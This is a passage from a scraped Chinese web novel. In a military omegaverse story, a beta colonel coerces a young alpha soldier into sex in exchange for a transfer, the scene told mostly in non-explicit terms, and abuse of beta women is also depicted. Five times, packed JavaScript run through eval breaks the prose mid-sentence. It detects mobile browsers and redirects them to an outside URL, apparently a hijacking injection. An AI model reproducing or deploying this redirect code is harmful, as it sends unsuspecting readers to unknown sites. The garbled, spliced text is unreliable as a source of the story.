RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136353|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上什么好果子。 等一等,关系匪浅? 卫嘲风浑身一僵,想到alpha们津津乐道的流言。 他反手打了自己一下。 新打印出来的图纸经由卫嘲风交到了珂琳的手上。 珂琳就是遭到小团体霸凌的那个beta工兵,虽然遭受着同僚的欺压,但始终坚定地磨练着技术,是翻新项目的主力之一。 实际上,她在工作中表现出来的性格并没有那么软弱。 “这么快!我以为还得等上几天呢。” 在接过图纸的时候,她还显得有些诧异,但很快就流露出温柔的笑容,“不愧是上校。” 她对上司的仰慕总是不加掩饰——恐怕这也是她会遭到alpha们针对的原因之一。 在从长官办公室到车间的这一路上,卫嘲风也简单地翻阅了一下这份图纸,原型机是十三年前入队服役的名为REDWIND的老式机体,和现在使用的泛用机ECLIPSERAVEN型差了两个世代。 如果不是这份图纸就在他手中,他无论如何也不相信有人能把这样一台堪称古董的机体提升到新世代机体的指标。 巧妙到让人说不出话的系统工程,让每一寸本已接近破铜烂铁的零件都能重新发挥功能,并将效率提升到了极限。 在新式材料和技术不断发展的现在,还执着于这种压榨机械性能的系统工程设计师已经变得比濒危物种还要罕见。 只要再装上新的中央控制系统和动力系统,就能让这台古董机拥有与新世代机体同台竞技的资格。 “不知道设计师是谁。很了不起。” 能够完成这项工作的工程师,一定是业内的名人。 只要打听到名字,就能知晓长官的“情人”到底是谁。 ——卫嘲风无法否认自己有过这样的想法,也无法否认自己对那种八卦话题产生了兴趣。 因此,在得到回答的时刻,他才会羞愧得想要找一条地缝钻进去。 “你不知道吗?总共27份改装手册,都是上校自己设计的。”珂琳完全是一副与有荣焉的样子。 卫嘲风一时间像是没听懂国语似的。 他早就应该想到,一个能够走到高处的beta,往往要比和她站在同一阶层的alpha优秀很多才行。 这是在社会上鲜少有人提及,却又众所周知的暗默的,极为不公的规律。 珂琳用一种俏皮的语气问道:“上校很厉害吧?” 当然! 在这种情况下,卫嘲风无论如何也说不出半句反驳的话来。 太厉害了! 这种事情,就算是alpha中的精英,能做到的恐怕也寥寥无几。 她到底是一个怎样的存在? 5. 第四周,第五周,第六周 * 在维修部门的轮岗进入第四周的时候,卫嘲风开始主动创造机会去接触那位beta长官。 这种主动中不可避免地包含一丝巴结,但更多的是出于尊敬和好奇。 Alpha是一个天生带有性别优越感的群体,卫嘲风也不例外。 但与那些拒绝接受现实的alpha不同,在真正的强大面前,他可以做到不区分性别。 那个人不仅在机甲工程上具有无与伦比的才能,据蓝远山所说,她也曾在ECHO服役,成绩一直名列前茅。 这使卫嘲风对其景仰程度与日俱增,而且还会在听到第三车间那些不知好歹的alpha们嚼她舌根时出言制止,即使在同部门的alpha群体中遭到的排挤愈发严重,他也并不在意。 反正迟早是要离开这里的。 * 第五周的轮岗在负责监测人员健康状况和伤病护理的医务部。 比起从前线送回来的伤患,这里接待的后勤士兵反而更多一点。 因为LOGIS的注意事项里提到过,alpha每个月都有定量的免费抑制剂份额,所以卫嘲风理所当然以为他们是来领取抑制剂的。 直到有一次,手头的工作难得清闲,值班的医生突然和他闲聊起来。 “小伙子,几岁了?” “二十二。” “二十二啊,那应该快了吧?” 卫嘲风摸不着头脑,但还是故作镇定地问道:“什么快了?” 年过半百的医生苦笑了一下:“快到紊乱发作的年龄了。” “紊乱?那是什么?” 中学的生理课堂有提到过吗? “信息素和激素的紊乱综合征,多发于omega,不过LOGIS的alpha也是重灾群体。” 关于信息素和激素水平的波动,卫嘲风也知道一点,在大约二十五岁以前,由激素分泌引起的冲动会随着年龄的增长而逐渐加强,很多omega到了这个年龄段,偶尔会出现按时服用抑制剂依然意外发热的现象。 “一般来说,alpha只要有了伴侣就不会出什么问题。就算没有伴侣,通过别的方式也能让内分泌系统稳定下来,战斗和训练都是很好的发散方式,所以STELAR的alpha一般不会出现这种症状。但是LOGIS的工作性质不同,单调,又缺乏对抗性,所以会导致紊乱多发。”医生耐心地解释道。 原来那种症状是有专业名词的。 紊乱。 卫嘲风别过头,看着地面:“能控制住吗?” 医生沉吟了片刻:“医疗体系这边能做的,也就只有开一点舒缓用的药剂,告诫患者尽量避免过度劳动。但是找不到有效的发散途径,就没办法从根本上解决问题。” “工作不是可以消耗精力吗?” “能否作为发散的途径,具体还要看工作性质,刚才也说了,LOGIS的大量流水线工作无法起到发散的效果。所以说小伙子,努力工作是好事,但也不要太拼命了。注意劳逸结合。” 医生拧开养生水壶的盖子,咕咚地喝了一大口茶。“我也向长官强调过,要特别注意alpha们的工作时长。” 卫嘲风沉默不语。 “别用那种眼神看着我啦,这可是有实验数据支撑的。因为你也是其中一员,当着你的面这么说总觉得有些抱歉,但你也知道,在LOGIS服役的年轻alpha,大多数性格都很坏。所以alpha才不想来LOGIS啊。” 果然,要尽快离开才行。 要尽快调到前线去。 要战斗。 “如果你也出现了那种征兆的话,要及时来这里开药。在刚出现苗头的时候就好好控制的话,可以大幅延缓病程,减轻副作用的影响。” Alpha点点头。“卫生局就没有对这种情况采取措施吗?” “我们有向相关部门反应过情况。”医生的表情有些无奈,“但不管是允许士兵将伴侣带到军营,还是尽可能把那些没有达到合格线的alpha也送去STELAR,都是弊大于利,也只能继续维持现状了。” “药物能在多大程度上控制病情?” “老实说,药物的作用十分有限,不然制药公司肯定会把那些成分直接加入到抑制剂里。卫生委员会给我们的应对建议也不过是多开一点镇定剂。另外就是……在工作环境中设置沙袋。” “沙袋?我从来没有在LOGIS看到过那样的东西。” 医生的语气显得有些踌躇:“让alpha们通过沙袋释放掉一点压力的话,对周围的危害就会减轻很多。” 突如其来的眩晕感。卫嘲风意识到,医生所说的沙袋是有引申义的。 “一般这种工作会让beta来承担,尤其是女性beta,因为她们的性格最稳定。” 让LOGIS自主消化没有资格进入STELAR的alpha,只不过会让几个无关紧要的beta受到伤害,是损失最小的选项。 “情绪稳定又不等于没有情绪。一直承受来自外界的压力,那些beta会崩溃的。”Alpha的情绪有点激动。 “虽然我也不知道具体的情况,但是长官一直在这方面做得很好。我想她应该有自己的一套补偿沙袋的办法。不过beta女性本来就比较好哄。” 卫嘲风想起珂琳提起长官时的眼神,突然明白过来。 是仰慕。 被仰慕者用“肯定”来实施对仰慕者的剥削,让他们将自我牺牲视为无上的荣誉和欢愉。 “怎么了?你表情好像不太对,要做个身体检查吗?”医生坐在椅子上,关切地看着实习生。 “没、没什么。” 是他又一次弄错了? 那个人隐藏在冷酷面容下的体恤,其实也只是另一层伪装吗? 她对别人的好,其实都是带有目的的吗? 她果然是一个……俯视一切、利用一切、操控一切的暴君。 * 第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136354|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六周的时候,卫嘲风被派到地空联络部门轮岗。 这原本是一个相对清闲的部门,但是在和A级群落的战争正式打响之后,这里马上变得一刻都闲不下来。 每个联络台都需要二十四小时不间断值守,一班三人,分别负责对空联络、对地联络和信息校验的工作,轮值期间必须保持精神高度集中,避免传递错误情报,而且还要严格控制进食和排泄时间,以免发生遗漏。 就算是在行军拉练中能保持四天四夜不眠不休的卫嘲风,在经历了一个礼拜高强度的战时联络工作后,也难免感到疲惫不堪。 这算不算过度劳动? 会不会加速紊乱的发生? 听到联络器中传来轰鸣和呼啸的声音,他心中的不安逐渐累加。 因为战争有扩大的态势,前线出现了人手不足的情况,说不定正是申请调动的好机会。 在结束联络部门轮岗的那天,他主动提出会面申请,希望能和长官当面谈谈。 完成27台BOS的交付之后,长官就很少出现在维修车间,也从没造访过联络室,想要和她见上一面,必须通过联络部门的对接。他在调离联络部前稍稍利用了一下职务之便。 会面的地点在LOGIS的总办公室。 卫嘲风比约定时间提前五分钟就到了那里,但没有看到长官的影子,她近日确实是因为忙于外事才鲜少在LOGIS现身。 他不禁担心自己的任性要求是否给她造成了麻烦。 准点的时候,beta女性出现在办公室的门口。 她今天穿是军队的正式制服,看起来十分挺拔,并且气势逼人。 但卫嘲风隐约觉得她的心情似乎不太好。 ……到了这个时候,他才开始后悔因为一时冲动而做出会面的决定。 可是既然已经站在这里,而且也想不出别的话题来搪塞眼下的场合——如果现在才说“没什么”的话,会让她更加生气的吧——也只能硬着头皮试试了。 “找我有什么事?” 长官没有给他留出太多心理建设的时间,她甚至没有去办公桌后坐下,雕塑般站在他面前,完全是打算一谈完就立马离开的样子。 这让卫嘲风感到些许失落。 他发现即使已经知道这个beta正如蓝远山所说并非善茬,即使知道她的恶,她的虚伪,也无法彻底将她视作一个可鄙可恨的存在。 当那种权力与魄力交织着向他倾轧而来的时候,他所感受到的是一种窒息前大脑放空的快感。 “报告长官,我想申请调动到STELAR,希望得到您的批准!”他鼓起勇气,一口气说出自己的诉求。 只要能够在战场上取得战绩,事后再被提拔到ECHO部队也并非痴人说梦。 如果申请获准,当然皆大欢喜,若是遭到拒绝,也免得夜长梦多,好调整心态再接再厉。 他觉得结果无非就是这两种,因此在面对beta女性出人意料的答复时的无措也在所难免。 6. “做个交易吧。” “做个交易吧。” Beta女性面不改色地说道。 “交、交易?” 什么的交易?意思是说,她可以帮这个忙,但是要索取相应的代价? “您……您想要什么?”卫嘲风小心翼翼地问道。 Beta女性并没有看着他,“你的身体。” 卫嘲风以为自己听错了,对着前方的墙壁眨了两下眼睛:“抱歉,长官,我、我好像没有听懂……” 说到身体,难道是要拿他的身体去进行人体实验? LOGIS的部署中,确实存在进行生物研究的部门,但那从来不是军校毕业生能够进去的地方,也没有轮岗的要求,恐怕只有极少数高层才知道那里究竟进行着怎样的研究。 其实卫嘲风已经做好了付出一定程度代价的觉悟。 毕竟这位beta女性就是这样的人。 她才不会做无利可图的事。 对珂琳好,是为了让她能心甘情愿地成为小团体的沙袋。 对他好,自然也是出于某种目的。 原来,是想要拿他的身体进行实验吗? “你的身体。这就是交易条件。” 卫嘲风挣扎了一会儿。 “要、要摘取某个器官?还是注射某种药物?进行实验之后,我、我的体检和体测成绩会受到影响吗?” “看来我说得不够明白,”beta女性用手指敲了一下桌面。 “和我上床,我帮你递交推荐信。” 她能够若无其事地说出“上床”这种词,而不感到任何羞耻,这让alpha男性感到莫大的动摇和挫败。 他好不容易才让僵硬的脸挤出一个勉强的笑容:“您、您在开玩笑,是吧?” Beta女性向左动了一步,强硬地拦截了他看向墙壁的目光。 “这不是玩笑,这是交易。” “交、交易什么的……” 要他出卖自己的身体,去购买实现梦想的机会吗? 她那双看起来冷若冰霜的眼睛,其实一直在垂涎自己的身体吗? 那些被alpha用作谈资的传言,并非信口胡诌,而是有迹可循的吗? 她曾经和多少人做过这样的“交易”? 从那种镇定自若的表现来看,这肯定不是第一次了吧! 脑中瞬间闪过无数念头。 卫嘲风向后退了一步,连着做了几个深呼吸,用因为震惊和恐惧而有些沙哑的声音说道:“不、不行……抱歉,长官,今天、今天就当我没有来过这里。” “不愿意吗?”beta女性以一种完全不符合其形象的困惑的表情,微微地歪着头,向前走了一步。 “那种事情,怎么可能答应!” 卫嘲风又向后退了一步,他打算抓准机会,然后夺门而逃。 Beta女性抬腿从他身侧扫过,砰的一声将办公室的房门关上,并将脚抵在门上,完全封锁了他的退路。 最初几次见面时感受到的冰冷与恐惧,在这一刻陡然复苏。 “你不会在想,只要以后再接再厉,总有一天能靠自己的努力进入ECHO、成为驱动者的吧?” 她将双手抱在胸前,欺身压了过来,微仰着脑袋,两个人的鼻尖几乎要撞在一起。“很遗憾,我可以帮你写推荐信,也有办法让你永远上不了前线。” 卫嘲风被迫对上了她的视线。那视线还是冷冷的,那双诡异的异色眼睛现在看来格外可恶。 他的身体正因为激烈的情绪变化而微微颤抖。 “没想到……你是这样的人!”这话几乎是从牙缝里挤出来的。 “怎样的人?”那人用冷笑般的口吻说道。 当然是用梦想要挟别人的最卑鄙无耻的人! 是用权力倾轧无法反抗的弱者的最阴险狡诈的人! 是肆意利用别人可贵的仰慕之情的最冷漠残酷的人! 卫嘲风愤怒地盯着那双异色的眼睛,那里面明明没有一丝欲望和媚色,那个人的口吻也仿佛只是在说“去把气阀修理一下”似的。 这一切都让alpha更加生气了。 “你在捉弄我吗?!” 若他真的答应进行交易,那么被玷污的将不仅是他的身体,还有他的理想——他一点也不想在每次驾驶BOS的时候还要想起自己是如何坐到这个位置上的。 靠和一个beta上床?太不堪了! “总有一天我会靠自己的本事进STELAR的,我们走着瞧!” Beta女性放下了腿,但她周身那股强大的气场还是牢牢地钳制着她的部下。 “军校七年,成绩一直拔尖,却在结业考试的时候不小心失手,被流放到LOGIS。”她若无其事地说道。 Alpha的表情扭曲了一下:“那又怎么了?谁都会有失误的时候。” “成绩实在惨不忍睹的alpha才会在一开始就被打发到LOGIS。指挥部完全可以把你分到更好的部署去。可你还是被送到了这片终结地,知道是为什么吗?” “我怎么会知道!反正我问心无——” 卫嘲风的声音戛然而止。 他意识到长官这么说,并不是真的要他去思考自己有什么不足,而是在提醒他,有一股力量想要将他从前线排除出去,这股力量不是他靠努力就能对抗得了的。 他不是没有感到奇怪过,只是一直在努力忽视那些不对劲的细节。 他接受了被分配到LOGIS的结果,完全是因为即使是后勤出身,也有可能靠实力成为驱动者。 但如果,只是说如果,从一开始就有人不希望他出现在前线,才特意把他丢到最不起眼的地方呢? “如果你来LOGIS的事真的有人从中作梗,想要离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136355|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里恐怕没有那么容易。”beta女性有意无意地整理了一下军装的衣领。 从中作梗?! 对方可以这么做一次,就可以做第二次、第三次,就像这个beta刚才说的那样,可以让他永远都上不了前线。 “现在前线确实需要人手,想去的话,就努力讨好我吧。无本万利的事。你又不会少块肉。”异色的眼睛里浮现出嘲讽的神色。 年轻的alpha感觉到视野发生了一瞬的错焦,脑中继而浮现出一系列奇怪的问题。 他刚一性别分化,就进入了完全被alpha包围的世界,至今没有任何性经验,即使以omega为对象,他所知道的也只有来自性别教育课堂的那些行为方式。 所以alpha和beta要怎么做? Beta对他来说完全是一个不在考虑范围内的性别,alpha专用的性别教育课程没有提及任何有关beta的事。 就像他曾经理所应当觉得自己能进ECHO一样,他也理所应当地觉得自己的伴侣会是一位性格温顺的omega。 可是,他既没能进入ECHO光宗耀祖,也没有和理想的omega永结同心,却要为了实现梦想,放下身段,放下尊严,和一个beta上床。 “想好了没有?” 他艰难地从喉咙眼里挤了一句话出来:“是不是……只要一次?” 那人淡漠的嗯了一声,冲垮了alpha最后的精神防线。 …… 总之,等回过神来的时候,人已经在一个陌生的房间里了。 一只冰凉的手从身后推了他一把。“先去洗澡。” 接着,他就恍恍惚惚地进了淋浴房。 打开莲蓬头,没有调整水温,任由那些冰凉的液体浇灌着身体。 清洗完身体之后,他裹着挂在毛巾架上浴衣走出浴室,beta女性一言不发地和他交换了场地。 卫嘲风坐在床沿,听到稀里哗啦的水声从浴室传来,感觉不到任何近似于欲望或是性冲动的东西,只觉得自己像是砧板上的鱼。 如果不满意的话,她会不会翻脸不认人? 面对毫无反应的身体,alpha男性感到一阵慌张。 他想用智能终端搜索相关经验,结果发现终端连带着自己的衣物被留在了浴室中。 如果有和抑制剂作用相反的药就好了,服下之后只要听从本能行动,而无需动用任何理智思考,最好事后还不会留下任何记忆。 他现在非常需要那种东西。 不……那种东西,用了反而更加尴尬,还不如顺其自然。 不就是一个晚上的时间吗? 从出生到现在,他的人生已经度过无数个夜晚。 眼睛一闭一睁,一切就结束了。 过了这个夜晚,一切都会好起来。 愿望都会成真。 7. 无需顾虑 浴室的水声停止了。 无声的环境让人感到窒息。紧张充斥着alpha男性的每一个毛孔。 真想就这么晕过去。 过了一会儿,beta女性打开浴室的门,赤身从里面走了出来。 衣服或是浴袍,反正马上就要脱掉,所以就没必要穿了——大概是这样。 卫嘲风像是触电一样移开了视线,但那一瞥间看到的画面却像烙印一样残留在脑海中。 由于平时一直穿着严实的制服,所以只能从轮廓推断出她的身体十分紧致。 而现在则可以看到,平时被遮掩住的那些肌肉线条既清晰又流畅。 虽然后勤工作不涉及实际战斗,但平时也有在好好锻炼吧。 在觉察到有人靠近的时候,卫嘲风手臂上的寒毛不受控制地竖了起来。 后脑开始发麻。 那种电流游走般的麻痹感没有随着时间的流逝而减缓,反而慢慢向全身扩散。 有什么东西触碰着他的侧颈。 没法判断那东西是冷是热,只知道它贴着自己颈部的皮肤向后移动,像蛇逼近猎物一样靠近后方的费洛蒙腺。 不知道那个部位被做了什么,体温突然开始升高。 卫嘲风知道这是发热的征兆,但实际经历已经是很久很久以前的事情了。 生理教育课上说alpha和omega每个月都有大约三天的时间会断断续续地发热。 作为普通人生活的omega们具体是如何度过发热期的他不清楚,不过军校出身的alpha会通过定期服用抑制剂的方式杜绝这种生理现象的发生,以至于他至今没有感受过一个完整的发热周期,也从不知道自己的生理期一般会在每月的什么时候到来。 这一个多月来一直都有好好服用抑制剂,为什么还会发热? 他没有感觉到任何信息素对他的刺激,也明白beta压根就不具备费洛蒙腺,但身体就是在产生异样,来自本能的冲动正在被挑起,完全无法靠理智压制。 紊乱! 他瞬间想到了那个代表病症的名词,猛地睁大了眼睛。 LOGIS对alpha独有的堕落之刑,此刻吹响了行刑的号角。 以alpha的体型和力量优势,他完全可以在这场较量中从beta手中夺取主导、赢得上风。 但理智没有去对付那些原始冲动,反而在压制他的抗拒反应,让他乖乖地坐在床上,任人鱼肉。 大脑在渴求,本能在渴求,基因在渴求,所有的一切都在渴求着什么。 错乱的激素进攻了大脑,让他感到潮水般一阵一阵的麻痹。 “别、别碰那里!” 在麻痹感传达到费洛蒙腺的时候,强烈的刺激让他终于忍无可忍,用快要哭出来一样的声音叫道,并且因为自己居然能发出这样的声音而感到更加无地自容。 Beta女性不知何时站到了他的面前,在他迅速回避视线的同时,将他一把推到那床整齐的被褥里。 卫嘲风觉得自己做了一整个晚上的噩梦。 血液像是岩浆一样在体内沸烈奔腾,自尊心像是萝卜一样被碾碎了在砧板上来回摩擦。 灵魂像被抽离了身体,漂浮在房间上空,如果没有天花板的阻挡,就会一直上升,在高空的稀薄大气中炸裂。 还好有天花板。 他俯视着下方的诡异景象,听着那令人烦躁的声音,咬着嘴唇,忍着眼泪,终于在仿佛无休止的折磨中迎来了破晓的曙光。 当他彻底清醒,并嗅到空气中那股浓郁到差点让他当场昏厥的信息素的味道时,他才绝望地意识到那个噩梦竟切实发生过。 那是他自己的信息素。 但是,顺利捱过这一切,就意味着他马上就能心想事成。 等他坐在新世代BOS的驾驶舱中,自由翱翔在天际的时候,昨晚所承受的羞辱便会成为破茧前最后的考验。 卫嘲风异常平静地从整齐到不可思议的白色被褥里钻了出来,穿好衣服,刷牙洗脸,用在卫生间找到的中和剂去除了房间里残留的信息素,然后离开了这个可怕的房间。 这是位于后勤营地外部的一家商业旅馆,通常用来招待前来探亲的军人家属,因此也就不奇怪能在客房里找到分量过于充足的中和剂了。 尚且单身的新人列兵从未想过第一次踏足这家旅馆会是在这样的情境之下。 如果被队友看到自己从这里走出来的话,他们一定会认为他是一个不够自爱的家伙,说不定不久便能在军中听到关于他的传言——就像他们私下议论长官时说的那样。 幸好现在时间还早,除了负责早饭的炊事员,绝大多数人应该还在睡觉。 “怎么了,你精神似乎不太好,要不要去医务室看看?” 能得到同伴如此关切的问候实在让人欣慰。 今天是卫嘲风在调达部门轮岗的第一天,他不想因为私事影响工作,也不会因为得到了ECHO的入场券就放弃经营自己的努力人设。 难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136356|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道梦想成真这件事还不值得他打起精神来吗? “我没事,只是昨天晚上没有睡好。”他咧开嘴,露出包含着一排洁白牙齿的爽朗笑容。 “那就好。再坚持一会儿,马上就到午休时间了,去饱餐一顿,然后补个好觉。” 对他表现出关心的那位前辈突然上前一步,一下子拉近了两个人之间的距离。 卫嘲风条件反射地,像受惊的食草动物一样向后猛退一步。 然而那位前辈其实只是想借他身边的路通过,反而被他这一惊一乍的举动吓了一跳。 他用有些古怪的眼神看着这个精神紧张的后辈,接着好脾气地笑了笑:“睡眠不足的确容易导致精神敏感。” 要说精神敏感或是紧张,也许确实是有一点儿吧。 卫嘲风之所以会有那么大的反应,不过是害怕别人嗅到留在他身上的不属于他的信息素的味道。 就算用了很多中和剂,也难以保证万无一失。毕竟昨天晚上的行为对他来说过于激烈。 直到那位前辈走远,他才后知后觉地意识到这种担心纯属多余。 那位前辈是beta,根本就感知不到信息素存在的beta。 再退一步,昨天和他发生那些事的人也是beta。没有费洛蒙腺的beta根本不会在他身上留下不属于他的气味。 Alpha和omega会被彼此的信息素吸引,会因为异性的信息素改变发热周期,会在行为之后留下标记,像宣告领地一样宣告对彼此的占有权,留下优质中和剂也难以清洗的证据,别人会从这种气息中获得信号——自己已经晚来一步。 但是和beta就没有那么多顾虑了。 即使那样深刻地纠缠过,好像也不会留下什么痕迹,不会沾染任何气味,无法标记,无法据为己有。 虽然能在对方身上留下alpha的信息素,但和omega身上的留存不同,是轻易就能被中和剂消除的东西——想必那个人会仔细处理掉。 好像alpha和beta之间的情事,除了记忆之外,什么都无法残留。 而记忆,是只有当事人自己能够掌握的罪证。 没有人会知道昨晚发生了什么。 没有人会知道那场交易。 没有人能轻易在他身上发现证据。 而挥之不去的耻辱感,也只是为了实现梦想而必须付出的代价。 正如那个人说的,又不会少一块肉。 只要等到下一个调动周期…… 8. 辛冽 * 午餐有富含蛋白质的牛排,鲜嫩爽口的花椰菜,醇厚的牛奶,浓郁的蘑菇汤…… 如果是往常,这些食物一定能让卫嘲风食指大动,但今天,他看到那些浓稠的白色液体就感到恶心和厌倦。 一种对自己身体的厌倦。 但他还是努力把餐盘里的所有东西都纳进了自己的胃里。 消化器官开始处理食物的时候,睡意随之席卷而来。 卫嘲风吃完饭,顾不上消食,回到自己的工位,趴在桌子上开始午睡。 他定了二十分钟后的闹钟,但在铃响之前就擅自醒了,一看时间,才过去一刻钟,身心比早上刚起床时舒畅很多。 睡意逐渐消散,但他还是决定再趴一会儿。 让人感到头疼的声音从部门办公室的方向传来,心脏比大脑更早感到惊悸,混合着胃酸的糊状物涌到了喉咙口,又被强行咽了下去。 “接下去肯定还会再忙碌一段时间,不光是调达这边,其他几个部门说不定也有需要帮忙的地方,就辛苦你了。” 那个人的音色和声调与往日没有任何变化,听不出任何不对劲的地方。 就算发生过那样的事,只要一回到营地就立刻变回冷酷无情的女长官。 就好像这个世界上没有任何事情能够让她产生动摇。 怎样都行,只要她按照约定,把他弄进STELAR就够了。 心里想着无所谓的卫嘲风从工位上悄悄探出脑袋,往办公室的方向看了一眼。 Beta女性正在和一名尉官交代工作,从肢体动作来看,两个人的关系似乎相当不错。 目前负责管理调达部门诸项事务的是一名女性alpha,金色长发,背头,身材高大,和她站在一起,就连那个目空一切的beta长官都显得小鸟依人起来。 只是在气势上,alpha女性仍然输了一头。 “……比我想象得要快,不过你放心,我能顾好这里的。”她将一只手放在beta女性的右肩。 一般来说这是上位者在安抚或威胁下位者时会做的动作,但考虑到她们的军衔差别,以及两人间微妙的氛围,这个场景实际给人的感觉更像是alpha女性正在从长官身上寻求力量和支持。 两个人接下去还说了一些什么,卫嘲风没有仔细听,他探着脑袋,一边担心自己的偷听行为被发现,一边又莫名有种想要主动暴露的冲动。 Beta女性直到离开调达部门,都没有往这个方向瞅上一眼。 下午,卫嘲风将整理好的物资清单提交给部门管理员——也就是那个alpha女性——的时候,特意确认了一下她的名牌。 不是辛冽。 他不知道自己是松了一口气还是没有。 可是,那时从她口中唤出的名字,总得有一个主人。 …… 在卫嘲风找到有关那个名字的线索之前,军队就先行一步进入了调动周期,相关通知被贴到了后勤大厅的公示板上。 调动名单按照军衔从高到低排列,卫嘲风从后往前看,反复看了好几遍,都没有找到自己的名字。 又从前往后看了好几遍,仍然没有找到自己的名字。 整张名单上,从后勤部队调去前线的人只有一个,那个人的名字被列在很前面。 [L.O.G.I.S指挥官朱厌上校,自即日起调至S.T.E.L.A.R,编入E.C.H.O第一战列。] 他做梦都不会想到,自己会以这种形式知道长官的真名。 但比起那个虽然上口却意义不明的名字,他更想知道为什么。 被调往前线的人难道不该是他吗?出现在那个地方的名字难道不该是卫嘲风吗? “小子,你怎么了?”蓝远山那温和而久违的声音猝不及防地从后面响起,随之而来的是轻轻放在肩上的手的触感。 卫嘲风无措地晃动着脑袋,口中胡乱地喃喃。 “不是的,不是的……不是这样的。” 他像触电一样猛地甩掉前辈的手,挤开人群,落荒而逃。 “到底发生了什么事?告示上有什么不对劲的地方吗?”蓝远山因为担心而追了上来,并没有因为后辈的无礼举动而感到介怀。 卫嘲风将身体蜷缩在走廊的角落,双手抱头,将脸埋在膝盖之间。他没有听见蓝远山的问话,即使听见了也无法回答。 他想依靠不正手段获得调入STELAR的机会。他出卖了自己的身体,背叛了自己的尊严,结果却一无所获。 这种事,怎么可能说得出口…… * 轮岗结束后,卫嘲风最终被分到了维修部门。 和LOGIS的其他几个部门相比,车间确实是一个能让他多少感到好受一点的地方。 这也要多亏蓝远山对他在维修部门的工作表现给出了很高的评价。 “近些年,能够静下心来钻研维修技能的人越来越少了,不然总指挥部也不会舍得把长官调到后勤来。可以说如今的战事给上头提供了一个把长官调回前线的借口。” 在午休的时候,蓝远山突然说出这样的话。 卫嘲风不想接这个话题,他怕自己会控制不住情绪,说出类似“要不是她抢走了名额,被调去前线的人本该是我”这种不知天高地厚的气话来。 就算理智层面知道这是不可能的,他还是会忍不住地作出诸如此类的猜想。 仿佛不把那个出尔反尔的beta塑造成一个无耻之徒,就对不起他失去的清白之身似的。 而一想到在那种时候,她居然喊了别人的名字,他就愈发觉得自尊心破碎到无法拼合的地步。 “据说会演变成全面战争。” 在卫嘲风神游天外的时候,蓝远山冷不丁地说道。 正在假装埋首苦读的列兵从密密麻麻的文字中抬起头,不解地看着指导者。 蓝远山看向车间深处的一台新世代机体,叹了口气:“我是说和那个A级群落的战争。” “有那么严重吗?指挥部之前误判了群落等级?” 自从人类将家园的范围拓展到宇宙之后,便会时不时遭受星际生物的侵扰。学者以“群落”为单位区分不同物种。 目前已知73种群落,与其中11种达成共存协议,但剩下的62种则都是不具备谈判可能性的高侵略性物种,根据具体的威胁程度被划分成五个等级。 D级群落28个,驱逐难度低,必要时可以一举全歼。 C级群落13个,驱逐时需要一定调度,能够被全歼。 B级群落10个,需要调用一定规模的舰队才能驱逐,完全歼灭则需要投入更多兵力。 A级群落9个,都是大规模、高杀伤性的种族,一旦遭遇便很容易演化出战争,需要大规模舰队和充足的武器弹药才能驱逐,完全歼灭难度极高。 S级群落2个,其中9号群落曾重创人类,71号群落暂时对人类没有兴趣。 S级群落规模庞大,战斗力强,还能征服其他群落,使之成为附属。 它们有能力让人类丢失战斗的主导权,一旦遭遇,如果不能彻底地执行防御策略,就要做好应对全面战争的准备。 “那个A级群落,似乎是某个S级群落的附属。我们被摆了一道。”蓝远山说。 卫嘲风精神一振:“如果真的发生大战,是不是还得从后勤抽人上前线?” “怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136357|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你很希望打仗啊?” “……不,我不是那个意思。” 蓝远山苦笑了一下:“没吃过战争的苦头,才会盼着战争发生。” 卫嘲风自知说错了话。 成为驾驶员的梦想并不意味着他是一个战争狂热分子。 战争永远是人类的梦魇。 